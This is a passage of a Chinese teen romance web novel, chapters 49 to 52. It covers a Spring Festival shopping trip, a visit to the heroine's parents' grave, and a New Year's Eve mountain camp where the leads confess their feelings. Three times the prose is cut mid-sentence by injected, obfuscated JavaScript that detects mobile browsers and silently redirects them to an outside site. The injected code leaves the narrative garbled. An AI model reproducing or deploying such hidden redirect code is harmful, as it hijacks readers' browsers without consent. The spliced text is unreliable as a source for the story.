>许言琛掀眼看她,站直了身体,整整比她高出一个头。 靠近了她才发觉,少年身上挟着冷冽气息,又带着一股似有似无的香味,就像是女孩子约会时才会喷的香水。 她忍不住凑近嗅了嗅,还没等她闻出个具体的味道,脖子被什么东西绕了几圈,暖意席卷全身。 低头看才了悟,原本搭在许言琛臂弯的围巾,此刻已经裹在了她身上。 少年修长冷白的手指落在围巾两侧整了整,她听见他从喉咙溢出了一声笑,顺手揉了揉她的脑袋:“像个粽子。” 没等她反应过来,许言琛推着她往外走,合上了门。 春节前夕,街上四处都是红彤彤一片,人潮如织。身后人有一搭没一搭的揽着她,姜绵把脸埋在围巾里吸了吸。 是夏天的柑橘味。 这上面的味道跟他身上的,完全不一样。 不仅街上人多,超市里面也满是人。 广播里放着喜气洋洋的音乐,里面的温度跟外面不一样,超市开着暖气,姜绵闷得慌有些缺氧,伸手取下了脖子上的围巾。 顺手从一边拉过一个购物推车,许言琛扯过围巾另一头,在自己手上打了个结,挑眉跟她展示:“人多,别松手。” 浅蓝色的围巾在他手腕上缠的紧,姜绵有模学样的拿起另一端绕在她手上,笑盈盈炫耀:“这样就不会了。” 许言琛看着她嘴角的梨涡,眯了眯眼有些恍惚。 片刻后回神清了清嗓,带着她往里进:“待会儿想吃什么就拿什么。” 俨然是一副土豪的口气。 姜绵没跟他客气,逛到哪儿,看见什么觉着还行的就往购物车里丢,突然有一种挥金如土的感觉。 看着她一副自我感觉良好的表情,许言琛有些想笑。 推车里全都是些几块钱的小玩意儿,也不知道该说她是定位精准,还是刻意在给他省钱。 他拿起架子上的一盒巧克力就要往里丢,毫无意外被人拦了一下。 姜绵看了眼货架上的标签,咽了咽口水:“这个就不要了吧。” 说完她指了指一旁散装零食区域,眼睛亮晶晶看着他:“我们买那儿的巧克力吧,口感差不多。” 许言琛顺着她手指的地方看去,一堆金块和金币巧克力散发着耀眼的金色光芒。 他皱了皱眉,依着她把手上的盒子放了回去,“也行,反正差不多。” 姜绵为自己成功劝下他,节省了一大笔钱而感到高兴。 出超市时,许言琛提着大包小包跟在她身后,姜绵看着小票上的总金额百思不得其解。 明明没买什么贵的东西啊,怎么最后会超她预算这么多。 一笔一笔核对后,她总算是发现了不对劲的地方,姜绵停下脚步,转身指着一个有些模糊的地方问:“这个‘pra……’是什么东西,怎么要一百多?” 许言琛笑了笑没回答。 直到回许家后,她刚准备进房间,他伸手拦下她,递过一个红色礼盒,笑意盎然:“新年礼物。” 姜绵一脸懵接过,礼盒上面的英文字母跟她刚刚在小票上面看到的一模一样,打开后她才知道那竟是一盒巧克力。 盒子里面摆放的巧克力格外精致,每一个形状都不相同,口味也不同,是她之前从来都没见过的样式。 礼盒沉甸甸,姜绵的心却有些飘飘然,她故意嘟嘴责怪:“都说了散装的也一样,干嘛要买这么贵的。” 许言琛微微弯了弯腰,认真盯着她的眼睛,语气郑重:“其他人随便,你不行。” “差不多”这个词很敷衍,对于用心珍重的人,是要用同等甚至高出的行动去对待。 50. 愿意 翌日。 除夕当天,每家每户都很热闹,有的在忙着准备晚上的团年饭,有的在为待会儿的家庭聚会做准备。 而互勉群里的小组成员,也都在为今天的出逃计划做着最后的安排。 从城区驱车开往半山腰需要花费将近两小时的时间,经过商量,大家一致决定把出发的时间定在下午两点。 余下的时间很充足,姜绵起了个大早,今年也跟往年一样,她要去一趟安慧墓园。 早上八点,天蒙蒙亮,整个许家很安静,睡梦中的人丝毫没有要苏醒的迹象,应该只有她是清醒的。 这样想着,她放轻脚步下楼,刚准备披上外套就被突然从厨房里冒出的人吓了一跳。 “徐阿姨?”姜绵动作一滞,几乎是用气音,“您今天怎么也来了?” 徐阿姨似乎也有些没想到,反应过来后向她解释:“先生和太太昨天说想吃饺子,我想着今天过来准备点。” 原来是这样。姜绵明悟点了点头,裹紧了身上的衣服。 “小姜,今天怎么起这么早?应该多睡会儿的呀。” 她笑吟吟,声音甜糯:“一会儿要出去一趟。” 她这样说,徐阿姨心里有了数,也没再继续问下去,在客厅跟她闲聊了几句后,转身又投入了厨房。 看着厨房里那道忙碌的身影,姜绵揣了揣手,突然想起手机好像忘在了楼上。 刚想上楼去取,转身却落入一个清冽的怀抱。 鼻尖触到毛绒类的衣料上,有些痒,她忍不住吸了吸鼻子,味道和她昨天闻到的一样。 淡淡的却又浓烈的往她鼻子里钻,她现在才知道该怎么去形容这个味道。 没有檀香那么浓,香味却比它要好闻,木质香挟着点水果的气息,清新淡雅,让人一不小心就会沉沦进去。 事实上,姜绵并没有放纵自己沦陷,反而是在嗅到那股味道后,一触即离。 她猛地往后退了几步,这一次嗅觉抢占了视觉的先机,不用看清撞到人的脸她就已经猜到了是谁。 她表情错愕,只是有些没想到他也会起这么早。 “你怎么起这么早,不是下午才……”她意有所指的打量起全副武装的他。 少年上半身身着黑色高领毛衣,搭配着一条灰色阔腿牛仔裤。 纯羊毛的毛衣松垮罩在他身上。他脖颈修长,即使穿这样高的衣领,任然露出了一截冷白皮肤。 许言琛整个人插兜站在她面前,垂眸睨她,慵懒又俊逸。 恍惚间想起他昨天说的话,姜绵不经意咽了咽口水,视线从他身上移开。 许言琛表情自如,往后倒陷坐进沙发,漫不经心道:“跟你一起呗。” “你别闹,我是要去……” 以为他在开玩笑,姜绵笑着打浑,却见他神情认真看着自己,她一愣:“你……说真的?” “不然呢?”他抬了抬眉,“难道你忍心让我一个人提那么多东西?” “我中午之前能赶回来。” “中午?中午就出发了。” “啊?”她小声惊呼,往前几步坐在他旁边,平肩看他,“不是说下午两点吗,什么时候又改时间了?” 许言琛抻手搭着沙发,淡定解答:“就刚刚,他们怕路上会堵车,提前了。” 怎么会这样…… 姜绵一脸颓落,耷拉着脑袋绞手。 没一会儿就听到身边人不轻不重啧了声:“跟我待一块儿,就这么不情愿?” “没有不情愿……” 她低低应:“我是怕你会不愿意。” 在这种阖家欢乐的节庆日,没有人会愿意去那种地方,沾留一身晦气。 “有什么不愿意。”许言琛懒洋洋扯唇,“我去跟叔叔阿姨打声招呼,让他们好放心你。” 姜绵倏然呆住,缓缓抬眸。 原来他知道自己要去干什么。 起身伸了个懒腰,他抬了抬下颌:“拿东西,走?” * 出门时提的东西,比起他们那天采购的东西多了将近一半。 在路边拦了个出租车,把所有东西往后备箱一丢,两人肉眼可见的松了口气。 当然,也不是全部。 譬如某人怀里还抱了个鼓鼓囊囊的书包。 直到终点下了车,她依旧抱得很紧,许言琛提着两个购物袋,终于忍不住发问:“你书包里装的东西很重要吗,抱这么紧怕丢了似的。” 他这么问,姜绵手一缩,楼的更紧,神色有些闪躲:“是衣服,我怕晚上冷。” 山上的气温确实会更低,难得她能想到这个,许言琛欣慰她学会了照顾自己。 墓园很冷清。 碑林坐落,多得数不过来,穿过一条条小道,姜绵精准无误停在了一处墓碑前。 寒风凛冽,眼前起了一层雾,冻的她缩了缩脖子。 放下手里的袋子,许言琛伸手提走她怀里的书包,声线轻缓:“给我吧。” 她扭头朝他扯了扯唇,无声感谢。 手里骤然一空,姜绵俯身擦起碑面,这样的事她每年都会做,好像没什么不同。 唯一改变的,可能就是她控制情绪的能力,从一开始的泪流满面到如今的面色平静,她耗费了上百个日日夜夜。 许言琛静静站在一旁,垂头看她。 他看不见她脸上的表情,却能从她的声音里察觉她的情绪。 “爸爸,妈妈,绵绵来看你们了。”姜绵蹲下身抚着碑文,轻声诉说,“你们不要担心我,我过得很好。” “今天不能给你们念故事了,我带了朋友来看你。”说完她起身,退到他身边,看着他眼神平和。 许言琛手里还提着书包,被她突然提及,丝毫没迟疑,弯了弯腰:“叔叔,阿姨,我叫许言琛,是你女儿最好、最信任的朋友。” 他说的诚恳认真,姜绵却被他给逗笑,眼底的哀思稍褪。 然后,她看着他不知从哪儿拿出来一盒饺子,蹲身放到了墓前。 她愣愣开口:“你什么时候……” “出门时徐阿姨塞的。”在她身旁站好,许言琛眼底流淌着笑意,“还有一份,给你的。” 鼻子一酸,姜绵不争气的红了眼眶,她悄悄抹了抹眼泪,藏好情绪:“我有些话想单独跟他们讲。” 许言琛没犹豫,点了点头:“好,那我去外面等你。” 单肩挎着书包,提起脚边的袋子,他鞠了鞠躬,递给她一个安抚的眼神后,转身离开了墓园。 姜绵曾偷偷瞭望过很多次他的背影,以往只觉得他恣意风发,少年意气,是她可望而不可得。 而这次她看着他离开的背影,却恍然间发觉他已然变得很成熟,什么时候少年的肩膀可以如此辽阔的承载起这么多。 他向自己靠近,让她触手可及。 看着他走远,姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327607|131574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绵低声:“妈妈,他是许叔叔的儿子,许叔叔和您到底是什么关系。” “我究竟能不能……” 没说出口的话被风卷走,少女心事在萧条中扎根发芽,茂然生长。 许言琛说的那盒饺子,最后当真全留给了她。 他们就近坐在公交车站,卸下所有东西,姜绵捧着保温盒,捏起饺子往嘴里塞,吃得腮帮子鼓鼓。 “慢点吃,都是你一个人的。” “你也吃。”姜绵拿起一个放到他嘴边,夸的天花乱坠,“猪肉白菜馅的,相信我,这绝对是我吃过的,最最最好吃的饺子。” 他笑了声,低头咬了一口。 “怎么样?”她瞳孔亮晶晶,似乎是在等他肯定。 “好吃。” 只这样一句她便笑了,眼睛弯的像一轮月亮,把手里剩下的往他嘴里塞:“快吃快吃,待会儿就凉了。” 少女葱白纤细的手指擦过他的唇瓣,许言琛顿了顿,目光骤然幽深,慢条斯理开始嚼着口里的东西。 等盒里的饺子见了底,一辆越野突然急刹在他们面前,车窗降下,传出一道张扬轻快的声音:“吃什么好东西呢,不给我们尝一口?” 墓园这边偏僻,不说人没几个,除了半小时一趟的公交,道上很少有车往来。 面前骤然停了一骚红色的越野,在带着那人说话的口气,姜绵下意识认为他们是遇上流氓了。 光天化日,朗朗乾坤,竟然有人敢正大光明打劫。 姜绵愤愤起身,视线牢牢锁定车内,她倒要看看这人究竟长了幅什么样,竟然敢这样横。 直到车窗半降,缓缓露出程渡那张一如既往嘚瑟的脸:“嘿!姜小绵,手里抱的什么,我不介意帮你拿会儿。” 难怪她会觉得这道声音有些熟悉,原来是他们。 姜绵激动小跑上前,看着车身忍不住溢出一阵赞叹:“哇塞!这是你租的车吗?” 才说完她又觉得不对劲:“不对啊,那谁开的车啊?” 车窗完全被降下,驾驶座上,张滔羞涩一笑,朝外面人挥手:“嗨。” 她简直不敢相信自己眼睛看到的,扭头朝坐在椅子上波澜不惊的人发出眼神询问。 许言琛耸了耸肩,起身向停靠的车走过去,朝里面人淡声吩咐:“下车搬东西。” “好嘞许哥!” 信息量太大,她没能理清一点儿两人就都下了车,站在原地她还是忍不住担心:“这样是犯法的吧。” 许言琛嗤笑了一声:“犯什么法?” “交通法啊。”姜绵义正辞严,“没驾照怎么可以开车。” 她还想继续给他科普,后排车窗突然也降了下来。 “扑哧——” “姜宝,你的担心有些多余哦,张滔都是老司机了,你就放心吧。” 老司机?张滔? 这么说张滔竟然成年了吗? 她探求性的看向许言琛,却得到了本人的回复。 张滔关上后备箱门,拍了拍手,倚着车有些不好意思:“我上学晚,所以比大家都稍大些,过了今年就奔二十了。” 难怪陈思彤会说他是老司机,姜绵瞪大了眼:“那这车,不会也是……” “那倒不是,这车是偷的我爸的,反正他车多,少了这辆一时半会儿也发现不了。” 车多……一时半会儿发现不了…… 姜绵咽了咽口水。 51. 跨年 行车导航上一片红,上山下山的车堵成一片错不开。 长段时间的缓慢挪行,耗费了近一个小时,才总算进入了山口。 入山后一路畅通无阻,原本焦虑的心情顷刻消散,路程枯燥,程渡随手放起了车载音乐。 土味DJ的声音蹦出来,车上众人都愣了几秒。 “我说程渡,你这品味也太差了吧。”动感的旋律在车内环绕,陈思彤皱眉捂了捂耳朵,一脸嫌弃。 “不是,这关我什么事。”程渡一脸无辜摊了摊手,“我就随手一摁,谁知道张滔他爸喜欢这种音乐。” 张滔觉得自己有必要给这辆车的主人正名:“和平讨论,别攻击我爸啊。” “我看你也挺喜欢的,谁刚刚还在那儿扭来着?” “简直是危言耸听,像你渡爷我这种高品位的人,怎么会对这种音乐产生律动!” 于是他们三个人,在土味DJ的背景音乐下,展开了关于音乐品味的激烈探讨。 车窗留了个小缝儿流通空气,姜绵坐在后排夹在两人中间,即使车内气氛这么欢脱,依旧挡不住她昏昏欲睡的感觉。 扣着衣服帽子,她阖眼时不时点着头,整张脸都快要缩进衣领里。 迷迷糊糊快要睡过去的时候,越野车经过减速带突然颠簸了一下,身体不受控制往左边倒了一下,却被另一边人又快速捞了回去。 惯性让她整个人侧倒,朦胧中感觉有人拖住了她的脑袋,又缓缓撤走。 头枕着的地方软乎乎的,恍惚中就像是躺在了房间的床上,姜绵没睁眼,舒服的贴着蹭了蹭。 许言琛整个人蓦地僵住。 车内不知怎么突然就安静了下来,驾驶座上的两人小心翼翼瞥着后视镜,窥探着后面,陈思彤则直接扭头盯住了他们,捂嘴咽回惊呼。 只有倒在人腿上睡得正香的少女一脸淡定,还餮足的吧唧了下嘴。 淡淡扫了眼他们,许言琛脸色有些黑:“不该看的别看。” …… 几人瞬间收回眼神,正襟危坐。 车内安静如鸡。 姜绵最后是被电话铃声吵醒的。 上衣口袋里的手机震动个不停,她猛地睁开眼,发现自己正以一种怪异的姿势蜷在座位上。 也不知道这样的姿势维持了多久,全身睡得酸酸麻麻的,撑着头下枕着的东西直起身,她捏着后颈转了转脖子,视线恰好跟面前不动声色的黑衣男子撞上。 他许是一样才醒过来,许言琛仰靠着车座背,眯眼看着她睡眼惺忪,嘴唇翕动了下还没发出声音,彼时姜绵终于反应了过来,低头看向自己还撑着他腿的手,触电似的撤了开。 “对不起对不起,我不是故意的。” 她终于是清醒了一点儿,往后退了点儿距离,慌乱着翻找出口袋里的手机,看着显示来电人为“姑姑”的未接电话,重新拨了回去。 趁着拨电话的时间,她这才发现车子什么时候停了下来,车内好像就只有他们两个人在。 姜绵伸手抹了抹车窗上的雾气,向外看。 车子不知道被停在了哪个空旷阔地上,四周草木芃芃,远看群山峻岭被薄雾遮了大半。想来他们是已经到达目的地了。 手机贴着耳朵传出“嘟嘟“声,通话铃声响了很久对面依旧是无人接听的状态,姜绵皱眉挂了电话,目光看向一旁歇缓着的人,有些尴尬:“刚刚一不小心睡太死了,思彤呢,他们去干什么了?” “去找适合搭帐篷的地方。”才睡醒,他出口声音有些沙,许言琛有些缓慢地挪动了下身体,挺直背不动声色把毛衣往下拉了拉,故意调侃,“你倒是睡得挺舒服。” 睡眠细胞攻占了大脑,姜绵看着他揉腿,嘴比脑子快:“还好吧,也没有很舒服,太硬了有点硌。” “……” 许言琛动作一顿,抬眼幽幽看向她。 “我不是那个意思!”苍天可鉴,她真的不是那种人! 看他表情就知道他会错意思了,姜绵脸色涨红急得直咬舌头,胡乱摆着手,生怕他曲解,“我说的是骨头!” 她解释完,连带着空气都透露着诡异的安静。 姜绵懊悔抿了抿唇暗自发誓,她以后一定、肯定、绝对再也不会随意点评任何东西了。 她羞恼低着头在心里腹诽,过了小会儿,听见他似乎是低低吐了口气,拉开车门下了车。 许言琛:“下来。” 车里确实有些闷得慌,她磨磨蹭蹭下了车,很快眼前的风景就铺满了她的整个视野。 红色越野停靠在半山腰边,隔着护栏向下瞭望是城市的科兴,向远眺望是群山的壮阔,而抬头仰看又是云烟缭绕。 山上人烟稀少却并不荒芜,草木横纵,焕发着冬天的生机。 姜绵倚着护栏,刚刚那些事被抛到脑后,此刻她神清气爽,想起电视剧主角总会做的事,她兴奋拍了拍身旁的人。 “听说在山上喊出的愿望会很容易实现,我们要不要试试?” 看穿她的小心思,许言琛故意唱反调:“你听谁说的,那人也太坏了,专骗你这种小姑娘。” “你喊一个试试嘛,说不定真的有用呢?” “不要,太蠢了。” “哎呀,试试嘛……” 撒泼打滚缠了他好半天,还是没能把人劝松口。姜绵叹了口气选择放弃,想着晚上无论如何也得要他喊一个。 正当她沉醉于风景时,兜里的手机又有了响动。 这次她很快接起,电话那头传来了许久未曾联系的人的声音。 “绵绵?我是姑姑,姑姑这段时间有些忙,没抽的出时间来问问你,在那边过得还好吧?” 无论如何她们都是血亲,姑姑之前待她也很好,再听见她的声音,姜绵还是忍不住哽了哽。 山上信号不稳定,她举着手机往上走了走,才回起话。 “姑姑,我过得挺好的,你也要好好照顾自己,天气冷多穿点衣服,别又犯咳疾。” “姑姑晓得了。”电话那头顿了顿,似乎是有其他人在问什么,声音骤然变小。 听出来是谁,等那边没了声,姜绵问:“姑姑,你在姐姐家吗?” “是的呀,你堂姐硬是要我搬过来跟她住,说是不放心我一个人。” “绵绵,姑姑以后可能就不回泗水镇上了,你要有事就来你堂姐家,你知道你堂姐家在哪儿吧?” 说完这句,对面电话的听筒似乎是被人给捂住了,发出摩擦引起的沙沙声。 姜绵愣了愣。 过了会儿,她又听见电话里的姑姑笑着说:“绵绵,我刚刚跟你堂姐商量了一下,你堂姐这个地方吧,离的确实有点儿远,要实在不行,镇上还有你……” “姑姑!”姜绵突然拨高音量打断她,全是上下刺骨般的寒,连带着声音都有些抖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340639|131574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谢谢您,我能照顾好自己,不用担心。” 她不会再回泗水镇,也不会粘着人不放,不用担心她会给她们添麻烦。 “好绵绵,姑姑这边还有点儿事,先挂了啊,后面有时间姑姑再联系你。” 手机里一阵忙音,姜绵垂下眸,敛去眼底的情绪。 深呼吸一口气,她扬起笑转身,看向遥遥望着自己的人。 许言琛站在原地,看着她蹦蹦跳跳跑过来,忍不住问:“谁打来的电话,这么开心。” “是姑姑。”走近了,她笑盈盈,“姑姑问我过得怎么样。” 她说话的尾音都往上扬,真就是一副高兴极了的模样。 许言琛不疑有他,只是看她冻得泛红的鼻尖,在群里催促起探路的几人,错过了她眼底一闪而过的落寞。 程渡他们在上面的民宿旁借了个地儿搭帐篷,位置宽敞,视野也好。 民宿建在山野间,名字也叫山野间,除夕到春节这一晚上,房间爆满。 天色暮迟,民宿亮起了彩灯,绕着廊台和屋顶线条缠绕,露天观景台上支起的小木桌,也各放了一盏氛围灯。 客人们坐在上面小饮谈情,观着城市的夜景。 冬天晚上的风钻心的寒,姜绵窝在帐篷里和陈思彤聊着小话,女生之间的秘密说不完,时不时有乐咯咯的笑声从帐篷里传出。 直到整座城市彻底被黑夜笼罩,陆陆续续有烟花燃放在天空,程渡他们在草地上支了个棚,搭好桌子板凳,铺了块儿布,吃的喝的全往上面放。 这顿算不上跨年饭的晚餐,正式开了头。 不是五星酒店,不是山珍海味,也没有高档的服务,每个人脸上却都洋溢着真心实意的笑容。 眼看什么都齐全了,大家都激情四射要开动了,程渡又神神秘秘从身后掏出了两瓶东西。 他扬了扬眉:“从我爸那儿顺的,珍藏多年的好东西,要不要尝尝?” “你俩真是绝了!”陈思彤朝他们竖拇指,啧声赞叹,“一个偷开的一个偷喝的,太坑爹了!但今天姐妹儿我啥也不说了,就俩字——开喝!” 程渡一边夸她一边往杯子里倒满,陈思彤在一声声豪爽中彻底迷失了自我,甚至大言不惭要把他们都给喝趴下。 眼看她还没喝就有些飘飘然了,姜绵拽着她袖子低声劝她:“陈大宝,你几斤几两心里没数吗?” 陈思彤跟她咬耳朵:“别慌,首先气势上不能输。” “……” 三人谁都不肯示弱,程渡在挑谑声中准备倒第四杯的时候,却被人拦了下来。 程渡不可思议的盯着暗色中那张依旧深邃的脸:“许哥,你不会是怕了吧?” 激将法也不管用,许言琛拒绝干脆:“不喝,喝了误事。” “这能误什么事儿。算了算了,姜小绵……” “她也不喝。” “为什么?” “误事。” “你俩有什么……” 话说到一半,程渡才恍然大悟般噢了声,放下杯子看着他们笑,一副“我懂”的样子。 “明白明白,你们喝其他的。来来来,我们三个继续,怎么玩儿,划拳还是……” 姜绵懵了。 半天她一句话也没能插进去,莫名其妙就成了有事儿的那个人。 她侧头看向一脸淡定吃着东西的许言琛:“我们有什么事儿啊?” 52. 生日 零点钟声快敲响,姜绵才知道他说的“有事”是什么意思。 程渡他们一行人玩儿疯了,三个人攀着扯着混到民宿里参加跨年派对,偌大的营地只留他们两个人干坐着。 打扫着桌上的残羹剩饭,姜绵有些担心的朝彩灯四溢的民宿看:“他们这样没问题吗?” 许言琛在旁边搭着手有些心不在焉,淡淡朝那边扫了眼:“他们两个心里有数。” 民宿里人多鱼龙混杂,他这样说,姜绵心稍微放下来了点儿。 晚间的风并不温柔,夜景却分外夺目。 她打算在草坪上搭两把椅子,盖着毯子看看夜景,静静等待下一年的到来。 卫生打扫干净,姜绵正要去拖椅子就被人拉住了手腕。 “别弄了。”踢开椅子,许言琛低头看她,挂在帐篷上的露营灯打在他头顶,显得他整个人线条都柔和了几分,“带你去个地方。” 姜绵稍稍一顿,伸手指了指帐篷:“那我拿个东西?” 离远了帐篷,四周开始变得很暗。 许言琛一手打着手电一手拉着她,沿着公路往上走,停在了一个延展出去的小平台上。 平台应该是专门扩出去,留给上山的人观赏夜景的,视野极佳,所以站在上面,可以轻而易举览遍整个锦州。 沿江边一路有人点燃孔明灯,黄澄澄的一片往上升,隔得远看,就像是天上的星星一样,忽闪忽闪。 姜绵往前站了站,靠着围栏指向某处,有些兴奋:“那儿是游乐园吗?好漂亮啊,我还没去过呢。” 即使隔得很远,也能看见游乐场里规模最大的摩天轮闪着五颜六色的灯光,正以缓慢的速度旋转着,夜空的烟花灯火做着点缀,看上去浪漫极了。 “喜欢?” 见她点了点头,许言琛走到她身旁,语调轻柔,“那下次我们一起去玩儿。” 其实他对那游乐场也不熟,没去过几次,最有印象的一回还是初中毕业时被程渡他们拉着去的。 他对那种地方也没什么兴趣,里面的东西都像是给小孩儿玩的,不过有时候陪陪小孩儿玩玩儿也行。 “好啊!不过平时太忙可能不行,暑假……暑假可以!” 她一边憧憬一边看着美景发问,“你刚刚说的有事就是来看夜景吗?” 此刻的城市正无限风光,霓虹灯长亮不熄,新时代与传统习俗相互碰撞,别有一番风味。 她这样问,他却想了小会儿,才应了句“是”。 “谢谢你。”姜绵侧头看着他笑,眼里星光熠熠,“谢谢你的巧克力,谢谢你的饺子,谢谢你带我看这么好看的景色,谢谢……” 她没喘气说了一大串,最后突然停住,垂眸一字一句认真:“谢谢你做的一切。” 让她原本以为会难熬的日子,就这样开心快乐的度过了一年又一年。 也让她明白,如果痛苦和幸福同时落在一个人身上,那么力量最大的,往往一定是后者。 痛苦不会消失,但却在一步步慢慢减轻,幸福很难长存,但即使只是拥有过,也会终身难忘。 一个国家有这么多人,两个人相遇的几率不到万分之一,相识的几率更是微乎其微,更别提一个真心对自己好的人,有多难得。 他们非亲非故,本该是两条互不相交的平行线,行差踏错卷入了长辈间一段不清不明的关系。 她也曾疑问,也曾犹豫,也曾为此辗转反侧很多个日夜。 她甚至不知道这是对的还是错的,可她仍旧放纵自己靠近他,也期盼他的一次次靠近。 很多事情都应该有个结果,姜绵却宁愿这样继续糊涂过下去。 城市的烟花绽放得更加绚烂,身后民宿里的气氛也被烘托到了顶点。 零点的钟声悄然而至。 从她一句一句的谢谢里回过神来,许言琛眺望远方,极轻弯了弯唇角:“这是第二个。” 姜绵也跟着他放远目光,却没找见他说这句话的关联:“第二个什么?” 好一会儿,山上陆陆续续也有人放起烟花,她才听见他说:“这是我们一起过的第二个新年,也是你陪我过的第二个生日。” 她转头看向他,张了张嘴,有些意想不到:“今天……是你生日?” 他淡淡笑了笑,语气没什么起伏:“严格来说,是昨天。” 每一年的除夕,就是他的生日。 一个在这样的节日下,显得没那么重要的生日。 难怪没见他提起过,也没见他庆祝过。姜绵咬了咬嘴唇,皱眉思索了会儿,脱下背着的书包。 这个书包好像装了什么很重要的东西,一天下来没见她离过几次手,就连来看夜景也带着。 想起她说里面装的是衣服,许言琛下意识以为她是觉得冷了。 “山口风是有些大,冷的话我们回……”看清她拿出来的东西后,他话一顿。 从书包里扯出一件叠好的羽绒服,姜绵笑着晃了晃手,把衣服塞给他:“这还是去年你借给我的,出门的时候看你只穿一件毛衣,就知道你又只讲风度不要温度了,身体素质再好也经不起你这么折腾。” 说着她带上自己厚厚棉服的帽子,拉链往上拉了拉,整个人裹得紧紧的,密不透风:“我可是一点儿都不冷。” 她提着书包看他,嘴角绽开笑意,许言琛看向手里的羽绒服,很多话就这样哽在了喉咙里。 心里翻江倒海,他以为她学会了照顾自己,到头来,这衣服原来是她给他准备的。 “姜绵……” “你快穿上吧,夜里起风了,待会儿别真的冻感冒了。”她一边催他,一边又伸手往书包里探。 摸索了好一会儿,她突然停了下来,抬头看向已经套上衣服的他,后知后觉有些不好意思:“我不知道昨天是你生日,只给你准备了新年礼物。” “什……” 还没从她说的话里回过神,许言琛看着她朝自己迈了一步,两人间的距离骤然缩小。 他浑身一僵,却见她又踮了踮脚,温热的呼吸扑洒在他耳边。 不知道她想干什么,许言琛不敢动弹分毫,攥紧了垂在身侧的手,突然调动的忍耐让暴起的青筋一路从手背爬到手臂。 下一秒,脖颈间一暖,他紧绷的弦骤然松了,低低舒了口气。 姜绵理着他脖间的红色围巾,往后退了退,仔细打量了下,眉宇松散了些:“我手艺不太行,还好有你颜值顶着,你戴着挺好看的。” 许言琛低头看着她,摸了摸脖子上毛茸茸的围巾,眼底晦暗不明:“你书包里就装的这些?” “我怕路上万一被你发现就没神秘感了。但这是新年礼物,生日礼物我后面再……” 她后面再说什么许言琛都听不下去了,他伸手拽住她帽子的两侧,猛地把她往前一带,俯身埋下头,缓重的呼吸停在她侧脸。 事情发生在一瞬之间,姜绵睁大眼愣住,他们之间的距离,稍稍动一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362643|131574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下就能变得危险,她后知后觉,无措的闭紧眼。 薄热的呼吸停在她脸颊迟迟没有下一步动作,所有杂音都被隔绝,她只能听见自己心擂如鼓的心跳声。 过了好一会儿,突然有几束光打在他们身上,接着从身后上方响起了一片起哄声。 民宿里的人都玩儿嗨了,好巧不巧在观景台上远远看到这幅场景,欢呼声一浪高过一浪。 姜绵还没反应过来,就被身前的人抱紧转了个方向,所有刺眼的灯光通通被少年宽阔的背影挡住。 隔着厚厚一层衣服贴着他的胸口,她什么也听不见,只能感觉到许言琛把下巴搁在她头顶,抱她抱的很用力。 等身后的起哄声逐渐变小,她听见他低低的,带着些沙哑的声音:“还记得你之前说过要答应我一件事吗?” 姜绵记得,她答应过他,那次考试进500名,就实现他一件愿望,只是后面闹了不愉快,就没人提及了。 过去这么久,她以为许言琛已经忘了,没想到他一直记着。 她吸了吸鼻子,声音闷在他衣服里:“记得。” 姜绵忍不住在心里暗猜起来,莫名其妙有些紧张。 过了几秒,头顶的人深呼吸了一口气,许言琛声线带着微小颤抖,似乎也有些紧张:“第四年我们也一起吧。” 姜绵忽的滞住。 为什么不是第三年,也不是第五年,偏偏是第四年,她明白他的意思。 她不可能在许家长久住着,等考上大学后,去了别的城市,会不会再回到这里,一切都是未知数。 但只是一瞬间,在感觉到抱着她的人似乎有些抖后,她想也没想,伸手环住他的腰,用力回应:“好。” 民宿里的聚会不知道到了哪一个环节,欢笑声中有人开始放声喊了起来,不同声线的喊叫声交织在一起,一切变得混乱又有序。 许言琛终于笑了,低低的愉悦声从喉咙溢出,连着整个胸腔都在震动。 他卸了力松开她,望着她亮闪闪的眼睛,眼底尽是一片柔情。 他没解释那个克制后停在她脸颊,没能落下的吻,两人心照不宣,只要心意相通比什么都重要,他的满足从不浮于表面。 许言琛靠着围栏,拢手放在嘴边,朝山下喊:“在一起!” 他的宣泄跟别人的都不太一样,民宿里的人喊的都是些暴富、脱单、事业有成什么的,就他喊的像是那种围着大街上表白起哄的人。 姜绵扑哧笑出声,她咯咯笑了几秒,也扒在围栏上跟他有模学样。 双手拢成喇叭模样,她踮脚朝远方大声呼喊:“一起!” “谁在喊一起啊?” “我去,是哪儿在表白吗?” “跨年夜表白,谁这么浪漫!” “在一起!在一起!在一……” 一句话传过去传过来,彻底变了味儿,民宿边的观景台上又开始了新一轮起哄,到最后好像真的有人表起白来,掌声和礼炮声同时响起,热闹得不行。 听着头顶的动静,姜绵笑着扭头看向身旁的人,目光和他撞了个恰好。 